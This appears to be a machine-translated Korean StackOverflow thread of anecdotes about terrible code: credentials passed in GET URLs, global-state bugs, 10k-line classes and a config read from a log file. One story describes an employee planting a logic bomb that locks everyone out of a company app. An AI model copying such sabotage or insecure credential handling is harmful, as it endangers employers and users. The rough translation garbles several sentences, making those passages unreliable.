나는 이론이 다음의 선을 따라 다소 간다 고 생각한다.

  • 16 진수는 숫자를 나타내는 데 사용됩니다
  • 16 진수는 F 너머의 글자를 사용하지 않습니다.
  • 폐기물은 나쁘다

이 순간 나는 이벤트가 7 비트 비트 필드 (0-127)로 이벤트가 발생할 수있는 요일을 저장하는 데이터베이스를 사용하여 데이터베이스에 '0'범위의 2 자 문자열로 저장됩니다. '3J'로.

게시물 요청을받은 로그인 핸들러를보고 사용자 이름과 비밀번호가 매개 변수로 전달 된 GET으로 리디렉션 된 것을 기억합니다. 이것은 "엔터프라이즈 클래스"의료 시스템을위한 것이 었습니다.

나는 로그를 확인하는 동안 이것을 알아 차렸다 - 나는 CEO에게 그의 비밀번호를 보내고 싶어했다.

이 훌륭한 델파이 코드는 정말 악했습니다.

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

수업의 한 인스턴스 만 있으면 훌륭하게 작동했습니다. 그러나 불행히도 나는 다른 인스턴스를 사용해야했고 그것은 많은 흥미로운 버그를 만들었습니다.

내가이 보석을 발견했을 때, 나는 기절하거나 비명을 지르면 기억이 나지 않을 것입니다.

어쩌면 악하지는 않지만 확실히, 음 ... 잘못 안내.

한 번은 단일 5,000 줄로 구현 된 "자연어 파서"를 다시 작성해야했습니다.

...에서 ...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...

나는 이전에 웹 양식 만 수행 한 사람 (그리고 유명한 사본/파스터)의 ASP.NET MVC 사이트에서 코드를 보았습니다. <a> 문서를 수행 한 JavaScript 메소드라고하는 태그.

나는 그것을 설명하려고 노력했다 href<a> 태그는 똑같이 할 것입니다 !!!

약간의 사악한 ... 내가 아는 사람이 주요 내부 회사 웹 앱에 썼는데, 지난 10 일 동안 그가 시스템에 로그인했는지 확인하기위한 매일 수표입니다. 로그인 한 기록이 없으면 회사의 모든 사람을위한 앱을 비활성화합니다.

그는 해고에 대한 소문을 들었을 때이 작품을 썼고, 그가 내려 가면 회사는 고통을 겪어야 할 것입니다.

내가 알고있는 유일한 이유는 그가 2 주간 휴가를 가졌기 때문에 사이트가 끊어 졌을 때 그를 불러 왔기 때문입니다. 그는 저에게 사용자 이름/비밀번호로 로그온하라고 말했습니다 ... 그리고 모두 다시 괜찮 았습니다.

물론 .. 몇 번이나 나중에 우리 모두는 해고되었습니다.

내 동료가 좋아하는 그 리콜 ASP.NET 응용 프로그램 사용 public static 데이터베이스에 연결하는 모든 데이터베이스 작동합니다.

그래,하나의 연결을 위해 모든 요청이 있습니다.그리고,없을 잠그는 완다.

Perl CGI 스크립트를 실행하기 위해 IIS 3을 설정해야한다는 것을 기억합니다 (예, 전 시간이 전). 당시 공식 권고는 perl.exe를 cgi-bin에 넣는 것이 었습니다. 그것은 효과가 있었지만 또한 주었다 여러분 매우 강력한 스크립팅 엔진에 액세스하십시오!

어느 RFC 3514-정식 프로그램 사악한 비트.

SQL은 ASP 응용 프로그램의 JavaScript로 바로 쿼리합니다. 더러운 것을 얻을 수 없습니다 ...

우리는 XML 파일에 글로벌 상태를 모두로드 한 응용 프로그램이있었습니다. 개발자가 새로운 형태의 재귀를 만들었다는 점을 제외하고는 문제가 없습니다.

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

그런 다음 재미있는 부분이 온다. 애플리케이션이로드되면 속성 목록을 통해 실행되어 미스터리 카운터를 증가시켜 글로벌 (FLAT) 목록에 추가합니다. 미스터리 카운터는 완전히 관련이없는 이름을 지정하고 미스터리 계산에 사용됩니다.

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

그리고 당신은 같은 기능을 얻습니다

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

편집 : 설명 - 레벨 6 또는 7에서 속성이 의미가 바뀌었기 때문에 카운터를 사용하여 평평한 세트를 다른 유형의 2 세트로 분할하기 때문에 재귀 깊이를 계산하고 있음을 알아내는 데 오랜 시간이 걸렸습니다. , 주, 주, 주, 도시, 도시, 도시 목록을 갖는 것과 같은 종류의 지수가 지수를 확인하는지> 당신의 이름이 도시인지 주인지 확인하기 위해 반대))

"아키텍트"중 하나를 지속적으로 실행 해야하는 서버 프로세스 용 Windows 서비스를 작성하는 대신 콘솔 앱을 작성하고 작업 스케줄러를 사용하여 60 초마다 실행했습니다.

서비스가 매우 쉬운 .NET에 있음을 명심하십시오.

--

또한 같은 장소에서 콘솔 앱이 .NET 리모 팅 서비스를 호스팅하는 데 사용되었으므로 콘솔 앱을 시작하고 서버가 재부팅 될 때마다 실행을 유지하기 위해 세션을 잠쳐야했습니다.

--

마지막으로 건축가 중 한 사람이 하나의 C# 크기가 250k 같은 100 개가 넘는 클래스를 가진 소스 코드 파일.

각각 10k 라인의 코드를 가진 32 개의 소스 코드 파일. 각각 하나의 클래스가 포함되어 있습니다. 각 클래스에는 "모든 것"을 한 하나의 방법이 포함되어 있습니다.

그것은 내가 그것을 리팩터링하기 전에 그 코드를 디버깅하는 데있어 진정한 악몽이었습니다.

초기 직장에서, 우리는 레거시 프로젝트를 물려 받았는데,이 프로젝트는 부분적으로 일찍 나왔습니다. 메인 앱은 Java, 아웃소싱 된 부분은 기본 C 라이브러리였습니다. 일단 C 소스 파일을 살펴 보았습니다. 디렉토리의 내용을 나열했습니다. 크기가 200k 이상인 여러 소스 파일이있었습니다. 가장 큰 C 파일은 600 Kbytes.

신에게 감사합니다. 나는 실제로 그들을 만질 필요가 없었습니다 :-)

동료들이 고객에게 해외에있는 동안 발전 할 프로그램 세트가 주어졌습니다 (상기 프로그램을 설치). 하나의 주요 라이브러리가 모든 프로그램에 나왔고 코드를 알아 내려고 노력하면서 하나의 프로그램에서 다음 프로그램마다 약간의 차이가 있음을 깨달았습니다. 일반적인 도서관에서.

이것을 깨닫고, 나는 모든 사본을 텍스트 비교했습니다. 16 명 중 약 9 개 독특한 것들이 있다고 생각합니다. 나는 약간의 몸매를 던졌습니다.

보스는 개입하여 동료들이 보편적으로 보이는 버전을 수집했습니다. 그들은 이메일로 코드를 보냈습니다. 나에게 알려지지 않은 경우, 인쇄 할 수없는 캐릭터가있는 문자열과 혼합 인코딩이있었습니다. 이메일은 그것을 꽤 나쁘게 만들었습니다.

인쇄 할 수없는 문자는 서버에서 클라이언트로 데이터 (모든 문자열!)를 전송하는 데 사용되었습니다. 따라서 모든 문자열은 서버 측의 0x03 문자로 분리되었으며 분할 함수를 사용하여 C#에서 클라이언트 측면을 다시 조립했습니다.

Somwehat Sane 방식은해야 할 것입니다.

someVariable.Split(Convert.ToChar(0x03);

더 넓고 친근한 방법은 상수를 사용하는 것이었을 것입니다.

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

사악한 방법은 내 동료들이 선택한 것입니다. Visual Studio에서 0x03에 "인쇄"를 사용하고 인용문 사이에 넣습니다.

someVariable.Split('/*unprintable character*/');

또한,이 라이브러리 (및 모든 관련 프로그램)에서 단일 변수는 로컬이 아니 었습니다 (확인했습니다!). 함수는 낭비하기에 안전한 것으로 간주되면 동일한 변수를 회복 시키거나 프로세스의 모든 기간 동안 살 수있는 새로운 변수를 만들도록 설계되었습니다. 나는 여러 페이지를 인쇄하고 색상 코딩을했습니다. 노란색은 "글로벌, 다른 함수에 의해 변경되지 않았다"는 것을 의미했으며, 빨간색은 "글로벌, 여러 가지에 의해 변경되었습니다"를 의미했습니다. 녹색은 "로컬"이었을지 모르지만 아무것도 없었습니다.

오, 제어 버전을 언급 했습니까? 물론 아무것도 없었습니다.

추가 : 나는 얼마 전에 내가 발견 한 기능을 기억했습니다.

그 목적은 인터거리의 배열을 거치고 각각의 첫 번째와 마지막 항목을 0으로 설정하는 것이 었습니다 (실제 코드가 아닌 메모리 및 더 많은 C#-esque).

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

물론 요점은 모든 하위 배열이 모든 항목에서 작업을 수행해야한다는 것입니다. 프로그래머가 어떻게 이와 같은 것을 결정할 수 있는지 잘 모르겠습니다.

위에서 언급 한 다른 사람과 비슷합니다.

나는 응용 프로그램에 의사 스크립팅 언어가있는 곳에서 일했습니다. 그것은 약 30 개의 매개 변수와 거인이있는 거대한 방법으로 공급되었습니다. Select Case 성명.

이제 더 많은 매개 변수를 추가 할 시간 이었지만 팀의 사람은 이미 너무 많은 것이 있다는 것을 깨달았습니다.

그의 해결책?

그는 싱글을 추가했다 object 마지막에 매개 변수, 그래서 그는 원하는 것을 통과시킨 다음 캐스팅 할 수있었습니다.

나는 그 장소에서 충분히 빨리 나올 수 없었다.

고객 팀이 이상한 문제를보고 한 후에, 우리는 두 가지 다른 버전의 응용 프로그램이 동일한 데이터베이스를 가리키고 있음을 알았습니다. (새 시스템을 그들에게 배포하는 동안 데이터베이스가 업그레이드되었지만 모두가 이전 시스템을 무너 뜨리는 것을 잊었습니다)

이것은 기적 탈출이었다 ..

그리고 그 이후로, 우리는 자동화 된 빌드 및 배포 프로세스를 가지고 있습니다.

PDP-10의 범용 레지스터에 루프를로드 한 다음 해당 레지스터에서 코드를 실행하는 프로그램이라고 생각합니다.

PDP-10에서 그렇게 할 수 있습니다. 그렇다고해서 당신이해야한다는 의미는 아닙니다.

편집 : 적어도 이것은 내 (때로는 매우 초라한) 기억의 최고입니다.

나는 반 지원 데이터베이스 높은 이용률 솔루션에서 다소 미친 행동을 찾는 데 깊은 불행을 겪었습니다.

핵심 비트는 눈에 띄지 않았습니다. Red Hat Enterprise Linux, MySQL, DRBD 및 Linux-Ha 물건. 그러나이 구성은 완전히 맞춤형 인형과 같은 시스템으로 유지되었습니다 (당연히이 시스템으로 인한 광기의 다른 많은 예가 있습니다).

시스템이 확인하고있는 것으로 밝혀졌습니다 install.log KickStart는 DRBD 구성을 작성하는 데 필요한 정보의 일부에 대해 루트 디렉토리에 잎을 남깁니다. 물론 이것은 그 자체로 악합니다. 형식이 실제로 정의되지 않은 로그 파일에서 구성을 가져 오지 않습니다. 그래도 악화됩니다.

이 데이터는 다른 곳에서 저장하지 않았으며 60 초마다 실행할 때마다 상담했습니다. install.log.

누군가 처음 으로이 쓸모없는 로그 파일을 삭제하기로 결정했을 때 무슨 일이 있었는지 추측 할 것입니다.

라이센스 : CC-BY-SA ~와 함께 속성
제휴하지 않습니다 StackOverflow
scroll top